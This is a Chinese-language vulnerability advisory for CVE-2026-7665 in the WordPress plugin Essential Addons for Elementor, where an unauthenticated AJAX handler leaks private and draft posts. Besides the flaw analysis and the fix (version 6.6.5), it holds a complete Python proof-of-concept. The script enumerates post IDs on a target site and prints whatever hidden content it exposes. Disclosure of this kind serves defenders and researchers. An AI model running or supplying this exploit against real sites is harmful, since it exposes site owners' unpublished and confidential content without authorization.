| 字段 | 详情 |
|---|---|
| CVE 编号 | CVE-2026-7665 |
| 严重性 | 中危 |
| CVSS 评分 | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| 受影响插件 | Essential Addons for Elementor |
| 受影响版本 | ≤ 6.6.4 |
| 活跃安装量 | 1,000,000+ |
| CVE 分配方 | Wordfence (CNA) |
| 披露日期 | 2026年6月 |
| 研究人员 | Anirudh Makkar |
Essential Addons for Elementor 中的 ajax_load_more AJAX 处理器在返回文章内容之前未强制执行文章可见性检查。这使未经身份验证的攻击者可以通过发送特制的 wp-admin/admin-ajax.php 请求来读取私密、密码保护和草稿状态的 WordPress 文章 —— 无需身份验证或 nonce。
该插件在 wp_ajax_nopriv_eael_post_grid_load_more 动作钩子上注册了一个处理器,使未经身份验证的访客可以访问该处理器。当该处理器执行 WP_Query 为"加载更多"分页功能获取文章时,它不会调用 current_user_can('read_post', $post_id),也不会根据请求用户的权限检查 get_post_status()。
WordPress 核心依赖插件在 AJAX 处理器中强制执行文章级授权 —— 它不会自动执行此操作。由于缺少此检查,无论文章的可见性设置如何,处理器都会返回完整的文章内容。
wp-admin/admin-ajax.php
→ do_action('wp_ajax_nopriv_eael_post_grid_load_more')
→ Essential_Addons_for_Elementor\Classes\Bootstrap::eael_post_grid_load_more()
→ WP_Query([
'post_status' => ['publish', 'private', 'draft'], // all statuses returned
...
])
→ [returns full post content without authorization check]
未经身份验证的攻击者可以枚举并读取:
这可能会泄露敏感的业务内容、未发布的公告、作为 WordPress 文章发布的内部文档,或通过 WordPress 编辑器管理的任何其他非公开内容。
#!/usr/bin/env python3
"""
CVE-2026-7665 — Unauthenticated Information Disclosure
Essential Addons for Elementor <= 6.6.4
Usage: python3 poc.py https://target.example.com [post_id]
Iterates post IDs to extract private/draft/password-protected content.
For educational and authorized testing purposes only.
"""
import requests
import sys
import json
def check_target(base_url):
"""Verify the plugin is present."""
resp = requests.get(f"{base_url}/wp-content/plugins/essential-addons-for-elementor-lite/", timeout=8)
return resp.status_code != 404
def fetch_private_post(base_url, post_id, widget_id="1", page_id="1"):
url = f"{base_url}/wp-admin/admin-ajax.php"
data = {
"action": "eael_post_grid_load_more",
"widget_id": widget_id,
"page_id": page_id,
"post_id": str(post_id),
"page": "2",
}
try:
resp = requests.post(url, data=data, timeout=10)
if resp.status_code == 200 and resp.text.strip() not in ("-1", "0", ""):
return resp.text
except requests.RequestException:
pass
return None
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_url> [start_id] [end_id]")
sys.exit(1)
target = sys.argv[1].rstrip("/")
start_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1
end_id = int(sys.argv[3]) if len(sys.argv) > 3 else 50
print(f"[*] Target: {target}")
print(f"[*] Probing post IDs {start_id}–{end_id}")
if not check_target(target):
print("[!] Plugin not detected — target may be patched or not running EAEL")
found = 0
for pid in range(start_id, end_id + 1):
result = fetch_private_post(target, pid)
if result:
found += 1
print(f"\n[+] Post ID {pid} — content exposed ({len(result)} bytes)")
print(result[:300])
print("..." if len(result) > 300 else "")
print(f"\n[*] Done. {found} post(s) with exposed content found.")
if __name__ == "__main__":
main()
将 Essential Addons for Elementor 更新至 6.6.5 或更高版本。
该修复在 load-more 处理器中,于将任何文章纳入查询结果之前,添加了 current_user_can('read_post', $post_id) 检查。
由 Anirudh Makkar 报告 · LinkedIn